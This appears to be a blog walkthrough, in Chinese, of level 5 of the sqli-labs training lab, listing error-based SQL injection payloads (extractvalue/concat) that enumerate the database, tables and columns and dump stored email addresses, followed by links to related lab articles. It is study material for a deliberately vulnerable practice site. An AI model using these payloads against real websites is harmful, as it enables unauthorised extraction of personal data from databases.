sqli-labs---第五关

简介: sqli-labs---第五关

1、判断注入类型

?id=1(没有正常显示)提示了一串字符

?id=1'(出现了错误提示)

根据页面的提示可以知道这是单引号'的闭合方式,并且是报错注入

2、查询数据库名

?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

3、查询表名(看到敏感表users)


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))) --+

4、查询users表中字段的信息


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))) --+

5、查字段USER中的信息,这里查不出来,那就换一张表

 ?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(USER) from security.users),0x7e))) --+

6、查询emails 这张表中的字段信息


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e))) --+

7、查询email_id中的值(这里就拿到了用户email信息)


  ?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from security.emails),0x7e))) --+

相关文章
|
5月前
|
数据安全/隐私保护
【less-4】sqli-labs靶场第四关
【less-4】sqli-labs靶场第四关
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第四关
sqli-labs---第四关
|
5月前
|
SQL 安全 关系型数据库
【less-2】sqli-labs靶场第二关
【less-2】sqli-labs靶场第二关
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第三关
sqli-labs---第三关
|
5月前
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
|
6月前
|
安全 数据库
sqli-labs---第二关
sqli-labs---第二关
|
6月前
|
SQL PHP 数据库
Sqli-labs靶场搭建
本文章是在自己在使用新版phpstudy搭建靶场过程中遇到了很多问题,但在查询无果后,决定尝试旧版的phpstudy看能否成功,很幸运,成功了,也并不是网上的教程,说是php必须在5.2及以下.我使用的是5.4版本的.是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养
|
6月前
|
PHP
8、sqli-labs环境
8、sqli-labs环境
39 1
|
Oracle 关系型数据库 数据库
Sqli学习笔记系列---一次艰难的Sqli
正文 这里记录一下一些小技巧: 替换 路径/参数 在以下接口的的“idNumber”参数上找到注入点: /foo/?theName=YAP&idNumber=248001[注入点] 识别是否执行成功true/false的payload /foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE /foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE 也可以使用管道操作:
85 0
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
321 0
SQLi LABS Less-26a